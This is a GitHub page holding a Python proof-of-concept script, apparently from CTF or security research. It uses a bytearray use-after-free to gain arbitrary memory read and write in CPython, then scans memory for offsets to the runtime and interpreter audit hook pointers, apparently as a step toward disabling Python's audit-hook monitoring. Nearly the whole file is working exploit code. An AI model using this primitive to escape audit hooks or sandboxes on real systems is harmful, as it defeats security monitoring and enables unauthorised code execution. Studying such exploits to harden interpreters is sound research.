-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathPOC-no-ctypes.py
executable file
·41 lines (35 loc) · 1.6 KB
/
POC-no-ctypes.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!audit_hook_head_finder
from audit_hook_head_finder import get_runtime_audit_hook_ptr_addr, get_interp_audit_hook_ptr_addr
import os
DEPTH = 50
getptr = lambda func: int(str(func).split("0x")[-1].split(">")[0], 16)
# following arbitery reading/writing exploit code from https://maplebacon.org/2024/02/dicectf2024-irs/
# improved by Maple Bacon
class UAF:
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
uaf = bytearray(56)
uaf[23] = UAF()
# end of arbitery writing exploit code
ptr = getptr(os.system.__init__)
# to use brute-force, you should run this script multiple times
# to find the const offset
print("searching for possible offsets to audit hook")
p = []
for i in range(DEPTH):
if len(hex(int.from_bytes(memory[ptr + i:ptr + i + 8], 'little'))) == len(hex(get_runtime_audit_hook_ptr_addr())):
p.append(i)
for j in p:
ptr2 = ptr + j
ptr2 = int.from_bytes(memory[ptr2:ptr2 + 8], 'little')
print("searching", j)
for i in range(DEPTH):
nptr = int.from_bytes(memory[ptr2 + i:ptr2 + i + 8], 'little')
if hex(nptr)[:6] == hex(get_runtime_audit_hook_ptr_addr())[:6] and len(hex(nptr)) == len(hex(get_runtime_audit_hook_ptr_addr())):
print("C ",f"index=({j}, {i})", f"offset={hex(get_runtime_audit_hook_ptr_addr() - nptr)}", hex(nptr))
if hex(nptr)[:6] == hex(get_interp_audit_hook_ptr_addr())[:6] and len(hex(nptr)) == len(hex(get_interp_audit_hook_ptr_addr())):
print("PY",f"index=({j}, {i})", f"offset={hex(get_interp_audit_hook_ptr_addr() - nptr)}", hex(nptr))